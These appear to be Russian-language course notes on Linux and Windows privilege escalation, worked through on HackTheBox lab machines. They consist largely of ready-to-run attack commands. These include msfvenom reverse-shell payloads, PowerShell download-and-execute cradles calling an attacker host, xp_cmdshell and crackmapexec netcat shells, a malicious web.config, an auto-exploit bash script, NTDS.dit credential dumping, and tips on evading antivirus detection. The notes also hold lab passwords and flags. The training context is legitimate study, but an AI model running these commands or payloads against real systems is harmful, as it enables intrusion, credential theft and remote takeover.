**HackTrick - "Библия для пентестера"**
https://book.hacktricks.xyz/linux-unix/privilege-escalation

exploit Hacker Fantastic


ctrl-d - конец ввода

man access - документация языка С

подать аргументы и запустить
man system
можно использовать переменные окружения,
веб уязвимость - похожая проблема
1) проверяется, является ли аргумент файлом, доступным для чтения
от Yaroslav Shmelyov для Все (21:41)
2) запускается команда /bin/sh -c "/bin/cat <имя файла>"
в этом коде надо найти ошибку и добится исполнения команды
snprintf "надо здесь прописать наш подход"

надо понять что делает этот под и проэксплуатироать уязвимость
## Обращение к файлам

ln -s /etc/shadow file.log - под видом file.log запускаем etc/shadow (благодаря ссылкам мы можем прочесть файл, который никакого отношения к директории не имеет)
ln -s /etc/shadow file.log
/usr/local/bin/read_logfile
Похожа на критическую уязвимость nginx
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

если обладаем правами веб сервера.
Мы видим что нам принадлежит nginx и
access.log, затем перепишем symlink и перезапускаем nginx
мы меняем access log на symlink , меняются права на запись веб сервера.

возможность: создать файл в любом месте от root и получить права владельца этого файла и записать в него любые данные.
автозапуск/cron
копируем код в машину. Чтобы написать этот код нам надо
права веб-сервера
su
Qwerty123
su - www-data

/etc/ld.so.preload - в этом файле пишется библиотека которая будет запускаться при старте
LD_PRELOAD
https://habr.com/ru/post/199090/
добавляет суидный бит на бинарник
Главная стратегия - есть веб сервер,
тут ошибка в эксплойте
#Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null - все ошибки скидывает в dev/null


access.log - ничего не записалось
проверяем и находим что код написан для apache
ищем на каком порте nginx 

Запустили эксплойт

смотрим на атакуемой машине - для ускорения


Символические ссылки, cron, библиотеки - собрали в едино против ошибок админов
ps aux - показывает какие процессы есть , потом ищем уязвимости
Ищем ошибки администратора / уязвимости ПО
dpkg -l - смотрим версии пакетов
ps aux - ищем какие программы используется
дальше гуглим на уязвимости
## Материалы для ознакомления:
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/luke-goddard/enumy/releases
https://cisofy.com/lynis/
https://crontab.guru/
https://www.exploit-db.com/exploits/39549
https://www.exploit-db.com/exploits/39535
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
https://www.exploit-db.com/exploits/40616
https://www.exploit-db.com/exploits/40839
https://www.gnu.org/software/tar/manual/html_section/tar_26.html
https://www.vulnhub.com/
https://www.hackthebox.eu/
https://www.root-me.org/en/Capture-The-Flag/
https://www.offensive-security.com/labs/
https://medium.com/tenable-techblog/tp-link-takeover-with-a-flash-drive-d493666f6b39
https://gtfobins.github.io/
Платформы для упражнений:
https://captf.com/practice-ctf/
https://unaalmes.hispasec.com/login
https://365.csaw.io/
https://defcon2018.ctfd.io/
https://ctf.hackucf.org/challenges
http://ctf.infosecinstitute.com/index.php
https://junior.stillhackinganyway.nl/home#challenge-information
https://challenges.re
https://angstromctf.com
https://3206.innotecsystem.com/home
https://hack.me
http://www.cipher-ctf.org/CaptureTheFlag.php
https://www.cybergamesuk.com/code-crackers
https://atenea.ccn-cert.cni.es/home
https://www.hackthebox.eu/
http://ctfs.me/
https://ctf365.com/
https://overthewire.org/wargames
https://www.hacking-lab.com/
https://www.picoctf.com
https://ctftime.org/
https://www.pentestit.ru/
https://shellterlabs.com/en/
https://ringzer0team.com/
https://challenges.ka0labs.org
https://www.sans.org/netwars/continuous/
https://www.sans.org/netwars/cybercity
https://www.vulnhub.com/
https://exploit-exercises.com
https://w3challs.com/
http://smashthestack.org/wargames.html
https://www.hackthissite.org/
https://www.pentesterlab.com/exercises/
https://www.root-me.org/
https://www.enigmagroup.org/
https://www.hackthis.co.uk/levels/
http://www.kioptrix.com/blog/test-page/
http://bright-shadows.net/
https://microcorruption.com/login
http://www.dvwa.co.uk/
https://www.owasp.org/index.php/
https://sourceforge.net/projects/metasploitable/
https://bitcoinchallenge.codes
https://backdoor.sdslabs.co
http://io.netgarage.org
https://ctf.hitcon.org
http://hackthis.co.uk.
https://ctf.secadmin.es
https://uni.hctf.fun/pages/home
https://ctf-classic.ihacklabs.com/
http://ctf.hackmadrid.org/home
https://ctf.honeycon.eu
# Ядро ОС

https://docs.google.com/spreadsheets/d/1LUIblyHhuJ0fb9xYvPKoYFtxd8k4hKVHE9A1SKhVjuw/edit#gid=0
первая статья с которой все начиналось
https://inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf
цикл эксплуатации уязвимости ядра на языке С
https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
https://www.ozon.ru/product/linux-api-ischerpyvayushchee-rukovodstvo-147833655/ - описывает интерфейс операционной системы
процесс

структура https://elixir.bootlin.com/linux/latest/source/include/linux/sched.h#L723
информация о процессах

хранится информация - какие юзеры запускают процесс


Мы можем перезаписать этот файл для повышения привилегии.

https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-18344/poc.c
Необходимо настраивать эксплойт под нужную версию ядра
Технически уязвимость присутсвует, но фактически будет зависеть от настройки эксплойта.
Идет от рождения до исполнения

Квант времени
Виртуальная память

https://ru.wikipedia.org/wiki/%D0%91%D0%BB%D0%BE%D0%BA_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C%D1%8E

Структура памяти процесса

**sbrk** https://linux.die.net/man/2/sbrk
https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/
https://heap-exploitation.dhavalkapil.com/
как работает динамическая память
Интерфейс ядра Линукс

Интел мануал х64
https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-vol-3a-part-1-manual.pdf
https://www.gnu.org/software/libc/manual/html_mono/libc.html
Системные вызовы
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

Регистры


https://github.com/xoreaxeaxeax/movfuscator

https://godbolt.org - переводит с языков на другие языка



формирование запроса на выполнение операции


```
SECTION .data
msg db "Hello, world!",0xa
len equ $ - msg
SECTION .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, msg
mov edx, len
int 0x80 ; write(stdout, msg, len)
mov eax, 1
mov ebx, 0
int 0x80 ; exit(0)
```
ld - динамический линковщик, собираем полезную нагрузку в исполняемый файл


Сборка и запуск:
$ nasm -f elf -o hello.o hello.asm
$ ld -m elf_i386 -o hello hello.o
$ ./hello
отличная утилита для отладки
**sctrace** https://habr.com/ru/company/badoo/blog/493856/
apt update
apt install strace
https://rastating.github.io/creating-a-reverse-tcp-shellcode/
книга о шеллкодах https://www.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X
Учебная Среда под ядро
https://github.com/cirosantilli/linux-kernel-module-cheat

GNU gdp - мощный отладчик для линукс (если разрабатываем на языке С)
https://sourceware.org/gdb/current/onlinedocs/gdb.pdf

http://www.securitytube.net/video/5654
gdb ./hello

**pwndbg** показывает контекст
https://github.com/pwndbg/pwndbg
https://ghidra-sre.org/ - c ее помощью можно смотреть обратную разработку программ
https://book.rada.re/ - можно вести отладку программ
**pwntools** - https://docs.pwntools.com/en/stable/
https://tc.gts3.org/cs6265/2019/tut/tut03-02-pwntools.html
отладка ядра линукс


Ядро линукс

dmesg
make

sudo insmod hello.ko - для загрузки модуля

смотрим gmes последние сообщения
sudo rmmod завершить работу модуля
/home/user/getroot
способ скрытно добавлять себе права
https://0x00sec.org/t/kernel-rootkits-getting-your-hands-dirty/1485
устройство ttr0
 если равно нулю то выполняется этот код
prepare_creds -записывает данные
commit_creds - применяет
собираем проект через make


собрали и забросили код в ядро, вошли под рутом
**безопасность ядра линукс**
https://github.com/a13xp0p0v/linux-kernel-defence-map


**Бинарные уязвимости**








Уязвимости процессов экслуатации

https://nakedsecurity.sophos.com/2019/05/16/severe-linux-kernel-flaw-found-in-rds/


dev strings



на 65 раз пишем произвольный

из простравнства ядра вызываем функцию которая написана у нас на языке С


как работает греп функция для указанных адресов



LinKern x86 - Buffer overflow basic 1/vm

Главный принцип - заставить ядро выполнить код нашей программы





https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux
https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-18344

System.map-3.16.0-4-amd64

**pahole**



pahole -C task_struct vmlinux-3.16.0-4-amd64
**outoftree** https://github.com/jollheef/out-of-tree


# Windows
# missconfig
# **Занятие 5. Перечисление и рекогносцировка**
Ссылки по материалам лекции:
Access Tokens
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/acAccess
Local Security Authority (LSA)
https://book.hacktricks.xyz/windows/authentication-credentials-uac-and-efs#uac
ACLs - DACLs/SACLs/ACEs
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/acls-dacls-sacls-aces
Windows PriEsc:
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation
Как только какой либо пользак вошел в систему - ему дается токен.
**Первичный токен.**
Персонализация - концепт безопасности, позволяющему серверному приложению быть временно клиентом к охраняемому объекту.
Имперсонализация
Ряд атак связан именно с имперсонализацией.
Мы можем временно примерять на себя токены доступа другого пользователя, если есть права на это.
https://habr.com/ru/company/infowatch/blog/537560/
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/access-tokens
LSA
проверяет доставленные учетные данные,
позволяет взаимодействовать с контроллером домена
**LSASS** - отдельный компонент винды отвечающий за пользаков
подключаемся к hack the box
нужны retired machine

https://docs.microsoft.com/ru-ru/windows/security/threat-protection/security-policy-settings/security-policy-settings
**ACL**
АСL -
Дескриптор безопасности объекта может содержать **два ACL**:
DACL, который идентифицирует пользователей и группы, которым разрешен или запрещен доступ
SACL, который контролирует доступ к аудиту
dacl - discretionally control list
sacl - system access control list - список (типы доступа регистрируются в журнале событий безопасности)
**Схема записи контроля доступа**
**Тип**
Флаг, указывающий на тип ACE. Windows 2000 и Windows Server 2003 поддерживают шесть типов ACE: три общих типа ACE, которые прикреплены ко всем защищаемым объектам. Три объектно-зависимые типа ACE, которые могут возникнуть для объектов Active Directory.
**Флаги**
Набор битовых флагов, которые контролируют наследование и аудит.
**Размер**
Количество байт памяти, выделенных для ACE.
**Маска доступа**
32-битное значение, биты которого соответствуют правам доступа к объекту. Биты могут быть включены или выключены, но значение параметра зависит от типа ACE. Например, если бит, соответствующий праву на чтение разрешений, включен, а тип ACE - Deny, ACE запрещает право читать разрешения объекта. Если установлен тот же бит, но тип ACE Allow, ACE предоставляет право на чтение разрешений объекта. Более подробная информация о маске доступа приведена в следующей таблице.
**SID**
Определяет пользователя или группу, доступ к которым контролируется или контролируется этим ACE.
**Макет маски доступа**
Бит (диапазон), Значение, Описание/Пример
**0 - 15**
Права доступа для конкретных объектов
Чтение данных, выполнение, добавление данных
**16 - 22**
Стандартные права доступа
Удалить, Написать ACL, Написать Владельцу
**23**
Может получить доступ к ACL безопасности
**24 - 27**
Зарезервировано
**28**
Общее ВСЕ (чтение, запись, выполнение)
Все ниже
**29**
Общее выполнение
Все необходимое для выполнения программы
**30**
Общая запись
Все, что необходимо для записи в файл
**31**
Общее чтение
Все, что нужно для чтения файла
**Уровни доверия**
Небезопасный:
Недоверенный, процессы которые вошли в систему без приглашения.
например хром

**Cредний** - обычный
**Высокий** - администратор
**Система** - ядро
**Самый высокий** - инсталлер
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/acls-dacls-sacls-aces
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/integrity-levels


gem install evil-winrm
**Машина на ХТБ - SAUNA**
asresrposting
атака на керберос
evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
88 порт ооткрывает контроллер домена
whoami /priv
**PRIVILEGES INFORMATION**
whoami /groups


! Get-ADDomainController - одна из команд для пентеста вручную

! GET-LocalGroup|ft Name
! systeminfo - показывает что за система, какие обновления безопасности, какие кб, какие дырки закрыты а какие нет.
fsutil - данные дисков
fsutil fsinfo drives
ps

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysIntallElevated - один из вектроров превышения . Запрашиваем ключ у программы
netstat -ano - cлучшаем порты
можно через mssql - можем повысить привилегии
net share
net users


Get-MpComputerStatus
возвращет статус работы антивируса
Get-History - история
таск лист tasklist /SVC
запущенные сервисы sq query

wmic service get name - показывает сервисы которые ест и на какие сервисы ссылается
reg query HKEY_LOCAL_MACHINE\SOFTWARE
https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
В Эти директории можно что нибудб пихнуть, если беда с правами
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
wget https://github.com/carlospolop/PEASS-ng/releases/download/20220320/winPEASx64.exe

Edr часто хреново настроен, так же как фаервол, IPS

! красным отмечено - что можем посмотреть - необходимо обращать внимание
зеленый - инфа
желтый - ссылки


вытащил из реестра пароль для автологина пользователя svc


в данном случае надо найти соответствие с пользователем
разные SID используются для разных векторов атак

модифицируя сервис мы можем подсунуть свое - что даст профит
**Угон DLL**


запись в вмваре
**ИНъекция сети**


перехватить вызов интернет эксплорера

можем создать таску
! самые интересные из всех тачек - сервера!
внутренний пентест - захват доменного админа и скриншоты подтверждение
Одно из первых смотрится во внутрянке - уязвимости сервера
![Uploading file..._u200ng6g3]()
# **Windows Credential** поиск и дамп кредов и хешей

**appcmd** https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe
https://lolbas-project.github.io/
перечисление бинарников с помощью которых повысим привилегии на винде
**машина REMOTE**






use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_http
python ./49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c
берем строчку using URL и вставляем в повешельную команду
python3 ./49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a "IEX ((new-object net.webclient).downloadstring('http://10.10.14.22:8080/G1Ze7MerYl'))"

коннект получен

session 1
get uid
shell
powershell

можно запустить vinpeas и поизучать
**ps** - посмотреть процессы

whoami /priv

teamviever -

bg - выводим в бэкграунд эту сессию

путь начинающийся с POST - постэкспуалатционный

set session 1
run

нашли пароль от тимвивера


если убить этот процесс то сесссия оборвется
мигрируем

session
set session 1
options
run
getpid
migrate 336
можем мигрировать в процесс того же пользователя (прав потому что нет на просмотр)



crackmapexec на порт 445

crackmapexec smb 10.10.10.180 -u administrator -p '!R3m0te!' -X "powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://10.10.14.22:8080/G1Ze7MerYl'))"
**Креды могут храниться в стороннем ПО (в данном случае тимвивер)**
как переходить между сессиями
в активной консоле уводим сессия в бэкграунд **bg**
-___________
Подключаемся к машине **HEIST**
evil-winrm -i 10.10.10.149 -u chase -p 'Q4)sJu\Y8qz*A3?d'

Классический метод поиска полезности в винде
findstr /si password *.xml *.ini *.txt *.config *.json
ищем слово пассворд
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

procdumps
strings -прцоцессы
В наступательной безопасности есть принцип Leave of the world
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
https://docs.microsoft.com/en-us/sysinternals/downloads/strings


upload /root/tools/ms_tools/procdump64.exe
strings так же




.\procdump64.exe -accepteula -ma 6252
cmd /c "strings64.exe -accepteula firefox.exe_220325_232328.dmp > firefox.exe_220325_232328.txt" преобразовываем дамп в текст
findstr "password" ./firefox.exe_220325_232328.txt ищем слово password



подключаемся к машине с паролем и логином Администратора
evil-winrm -i 10.10.10.149 -u administrator -p '4dD!5}x/re8]FBuZ'
**net users** - посмотреть пользователей в винде
______________
Следующая машина **Querier**
impacket-mssqlclient QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth подключаемся к MS SQL базе
sp_configure 'show advanced options','1'
RECONFIGURE
sp_configure 'xp_cmdshell','1'
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'


будем работать с неткатом

слушаем порт rlwrap

xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.14.22/nc.exe" –OutFile "C:\Users\mssql-svc\Desktop\nc.exe"; "C:/Users/mssql-svc/Desktop/nc.exe 10.10.14.22 4321 -e cmd.exe"


записали и запускаем winpeas

dll injacking - кроличья нора на этой машине
файл Groups.xml -


mimikatz - лезет в оперативку по умолчанию
нам нужен сервис lsass, мимикатз позволяет достать данные этих процессов
python3 -m http.server 80

# CVE уязвимости
**Installer / sheykit - уязвимость zero day** нет патча который ее фиксит, в реальной жизни уязвимость zero day можно применять практически на всех современных системах.
Эксплойт детектируется антивирусами. В нем есть маркер, можно пересобрать
https://github.com/klinix5/InstallerFileTakeOver/tree/main/InstallerFileTakeOver/Release
**Уязвимость в инсталлере виндовом**. Эксплойт позволяет получить cmd консоль с правами системы

Принцип работы эксполйта: права доступа, таблица access contol ACL. При запуске эксплойта он переписывает таблицы управлевления доступа, в его службе.
Эксплойт копирует себя в службы, перезаписывает службу microsoft edge , и копирует себя в расположение службы, запускает от пользователя системы.
Модификация данного эксплойта, чтобы не детектировался
https://attackerkb.com/topics/7LstI2clmF/cve-2021-41379/rapid7-analysis
Минус заключается в том что он открывает консоль. Необходимо запукать данный эксплойт в графическом редакторе.
Можем провести атаку во внутрянке с низкопривилегированным пользователем, потом подключаемся к RDP, копируем эксплойт и применяем его для повышения привилегии.
через RDP, копируем эксплойт и повышаем права
Защита - только антивирус, если эксплойт не модифицирован

------
ПОдключаемся к машине **SAUNA** fsmith:Thestrokes23
Уязвимость print - связано с сервисом печати
Уязвимость в службе print spuller
Получается возможность запустить DLL файл
1. Создаем вредоносный DLL файл, который вернет нам обратное подключение
**msfvenom** https://habr.com/ru/company/ruvds/blog/343612/
msfvenom -p(payload )windows/x64/shell_reverse_tcp LHOST=10.10.14.8. LPORT=1337 -f dll -o print.dll


msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.22 LPORT=1337 -f dll -o print.dll
rlwrap nc -lvp 1337 - cлушаем порт
git clone https://github.com/cube0x0/CVE-2021-1675.git


Передаем инструменты через smb
impacket-smbserver SHARE . запустили шару где лежит dll

nmap 10.10.10.175 -Pn (нмап для винды )
python3 ./CVE-2021-1675.py hackit.local/fsmith:Thestrokes23@10.10.10.175 '\\10.10.14.22\share\print.dll'
nano /etc/samba/smb.conf
```
[share]
comment = payload delivery
path = /tmp
read only = no
guest ok = yes
```
service smbd restart
service smbd status


https://odeenhacimocom-my.sharepoint.com/personal/dubonmax_odeenhacimo_com/_layouts/15/Doc.aspx?sourcedoc={2dc36741-df1e-4856-810f-06e90b2ad0b1}&action=view&wd=target%28CYB-1%20Module%202%20AD.one%7C3db745d2-4dcd-4aaa-828f-19efe58c56f3%2Fwmic%7C0272bb49-55de-4de7-a7bd-9b4a0bd6c094%2F%29
ПОсмотреть самостоятельно эту машину - impacket и smb
**BOUNTY** подключаемся к след машине
Наша задача чтобы подключится к машине - получить реверс шелл с сайта на 80 порту
создаем веб конфиг со скриптом ниже
```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%@ Language=VBScript %>
<%
call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.16:8080/Bkq3Dulrpun')")
%>
```
msfconsole
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set target 2
set lhost tun0
set srvhost 10.10.14.4


curl http://10.10.10.93/UploadedFiles/web.config

! копируем systeminfo в файл на локальной машине
pip install wesng
**wes** (на основе загруженной информации о систем инфо - выдаст полезные нагрузки)
wes --update
wes systeminfo.txt > result.txt



можно отфильтровать grep
wes ./systeminfo.txt|grep "Exploits: http"

!!!Проще всего гуглить эксплойты - берем cve и гуглим на гитхабе
site:github.com "CVE-2010-3338"
https://github.com/ycdxsb/WindowsPrivilegeEscalation

use post/multi/recon/local_exploit_suggester
Ищем локальные методы повышения через уязвимости

search CVE-2010-3338
use exploit/windows/local/ms10_092_schelevator

set lport 4321



run suggester
Главное при поиске эксплойтов не искать DOS (отказ в обслуживании)
**Машина OPTIMUM**
1. Для начала сканируем nmap на открытые порты
2. Получаем сессию с помощью rejetto
3. запускаем сессию **sessions -i (id)**

```
msfconsole
use rejetto...
use rhost 10.10.10.8
use srvhost tun0
run
```

4. systeminfo -сохраняем данные в файл и после отправляем анализировать в wes
wes ./systeminfo.txt > ./result.txt
cat result.txt | grep -i ms (-i - игнорирование регистров)

5. полученный результат grep на наличии уязвимостей в системе


6. находим эксплойт ms16-098 / 41020
7. загружаем эксплойт с сайта на наш хост
https://www.exploit-db.com/exploits/41020
**Запускаем сервер** python3 -m http.server
8. Загружаем эксплойт 41020 ms16-098 на атакуемую машину, повышаем привилегии. Запускаем повершелл и копируем файл
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.17/htb/optimum/41020.exe','C:\Users\kostas\Desktop\41020.exe')"
9. Запускаем эксплойт, получем права системы

10. Получаем флаг
51ed1b36553c8461f4552c2e92b3eeed


use exploit/windows/http/rejetto_hfs_exec
set rhosts 10.10.10.8



suggester



bypassuac

Экслойты - нестабильны/ могут нанести вред или положить систему
**Метасплойт для пентестера**
https://alphazine.ru/showthread.php?p=3775
# **Занятие 8** MISSCONFIG Техники эскалации привилегий на основе некорректных настроек
**Blackfield машина**
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

Есть разрешения на бэкапы и рэсторы.
В бэкапах хранится хеши паролей: потом при помощи psexec
!!мы не можем сделать бэкап на тот же диск
Бэкап по сетевому пути на эту же машину
Бэкапим NTDS.dit(cодержит хэши всех пользователей домена)
*Evil-WinRM* PS C:\Users\svc_backup\Documents> wbadmin start backup -quiet -include:C:\Windows\NTDS\NTDS.dit -backuptarget:\\dc01\c$\users\svc_backup\
получаем через бекап
wbadmin get versions - узнать версию бэкапа
C:\Users\svc_backup\Documents> wbadmin start recovery -quiet -version:04/05/2022-23:35 -itemtype:file -items:C:\Windows\NTDS\NTDS.dit -recoverytarget:C:\users\svc_backup\Documents -notrestoreacl(не восстанавливаем права на файл)


reg save HKLM\SYSTEM C:\Users\svc_backup\Documents\SYSTEM
вытаскиваем системинфо
download SYSTEM - качаем
download ntds.dit

копируем НТДС и будем извлекать через secretsdump
**ShadowCopy** - теневые копии
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
Чтобы извлечь инфу после скачивания нам нужен
**Impacket-systemdump**
impacket-secretsdump -ntds ./ntds.dit -system ./SYSTEM LOCAL



Вошли под админом



Добыли флаг
4375a629c7c67c8e29db269060c955cb
**QUERIER**
Подключаемся по протоколу mssql
crackmapexec - скармливаешь айпи, логин, пароль, команду на выполнение
Удаленное выполнение команд
crackmapexec mssql 10.10.10.125 -d QUERIER -u mssql-svc -p 'corporate568' -x whoami
Поднимаем сервер




**Cохраняем слэшами \
Исполняем слэшами /**

флаг юзера

Поднимаем Листенер
rlwrap nc -lvp 1337 (команда листенер)

crackmapexec mssql 10.10.10.125 -d QUERIER -u mssql-svc -p 'corporate568' -x 'powershell.exe IWR "http://10.10.14.17/nc.exe" -OutFile "C:\Users\mssql-svc\Documents\nc.exe"; C:/Users/mssql-svc/Documents/nc.exe 10.10.14.17 1337 -e cmd.exe"'
скачали неткат на атакуемую машину

Загружаем Win Peas и запускаем
powershell wget http://10.10.14.22/winPEASx64.exe -o w.exe


Модуль Watson - показывает потенциальные угрозы на машине

**Подмена сервиса** Сервис арекстрации обновлений
**Повышение привилегий через сервис оркестрации обновлений**
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
sc.exe qc UsoSvc - запрашиваем состояние сервиса
sc.exe stop UsoSvc - останавливаем сервис
sc.exe start UsoSvc -
Доступ к сервису есть, можем **поменять параметры запуска**

sc.exe config UsoSvc binpath="C:\Users\mssql-svc\Documents\nc.exe 10.10.14.22 1338 -e cmd.exe"
Добрались до файла root.txt

**Машина devel**
```
#!/bin/bash
#Это эксплоит для быстрого получения реверс шелла на тачке HTB:Devel
#Для того чтоб его использовать укажи свой адрес и желаемый порт
#Например вот так: /bin/bash ./exploit.sh 10.10.14.17 1234
#в этой же консоли будет автоматически получен реверс шелл.
msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2 -f aspx > shell.aspx #генерится полезная нагрузка shell.aspx
curl -T shell.aspx ftp://10.10.10.5 #затем полезная нагрузка запихивается на ftp
sleep 3 #ждем пока запишется полезная нагрузка
rm ./shell.aspx #удаляем shell.aspx с локального хоста
curl 10.10.10.5/shell.aspx #shell вызывается курлом
rlwrap nc -lvp $2 #поднимается листенер, на указанном порту
```

./devel_esp.sh 10.10.14.17 1234

получен reverce shell

Potatoes - Windows Privilege Escalation
https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html
**свежие тачки с rotten potato**
**cтарые тачки с juicy potato**
https://github.com/ohpe/juicy-potato
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
**cd C:\Windows\System32\spool\drivers\color** Переходим в эту папку, так как она чаще всего **доступна для записи**
-Скачиваем Juicy Potato на атакуемую тачку
certutil -urlcache -split -f http://10.10.14.22/JuicyPotato.exe JuicyPotato.exe

-Генерим exe с reverce shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=1337 -f exe > shell.exe
certutil -urlcache -split -f http://10.10.14.17/shell.exe shell.exe
Чтобы задействовать JuicyPotato глобальный айдишник класса ко/ идентификатор
http://ohpe.it/juicy-potato/CLSID/

BITS используем в JuicyPotato



**Скачиваем версию под х32(х86)**
https://github.com/ivanitlearning/Juicy-Potato-x86/releases
wget https://github.com/ivanitlearning/Juicy-Potato-x86/releases/download/1.2/Juicy.Potato.x86.exe
certutil -urlcache -split -f http://10.10.14.17/root/utils/Juicy.Potato.x86.exe

копируем bits
Вешаем нагрузку
msfvenom -p windows/shell_reverce_tcp LHOST=10.10.14.17 LPORT=1337 -f exe > shell.exe
Error: invalid payload: windows/shell_reverce_tcp
Запускаем листенер
rlwrap nc -lvp 1337
.\JuicyPotato.exe -l 1339 -p C:\Windows\System32\spool\drivers\color\shell.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}



e621a0b5041708797c4fc4728bc72b4b
!! Наибольший профит. Быстро, Безболезненно. В первую очередь смотреть на привилегии, и если есть права на **Имперсификацию**
**Love тачка**
cp $(locate 49445.py) ./


```
# --- Edit your settings here ----
IP = "10.10.10.239" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.17" # Reverse shell IP
REV_PORT = "8888" # Reverse port
# --------------------------------
INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/login.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"
```
старые данные удаляем
Запускаем
rlwrap nc -lvp 8888
python3 ./49445.py
powershell wget http://10.10.14.17/winPEASx64.exe -o w.exe



**AlwaysInstallElevated**
самое вкусное - суть что эти ключи реестра(пользователи с любой привилегией могут устанавливать файлы msi)




msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.22 LPORT=1337 -f msi > shell.msi

msiexec /i shell.msi

d55a2682a3cb7b2a16fa702332873be

этот метод чаще всего встречается на тачках, которые к домену не подключены/ терминальный сервис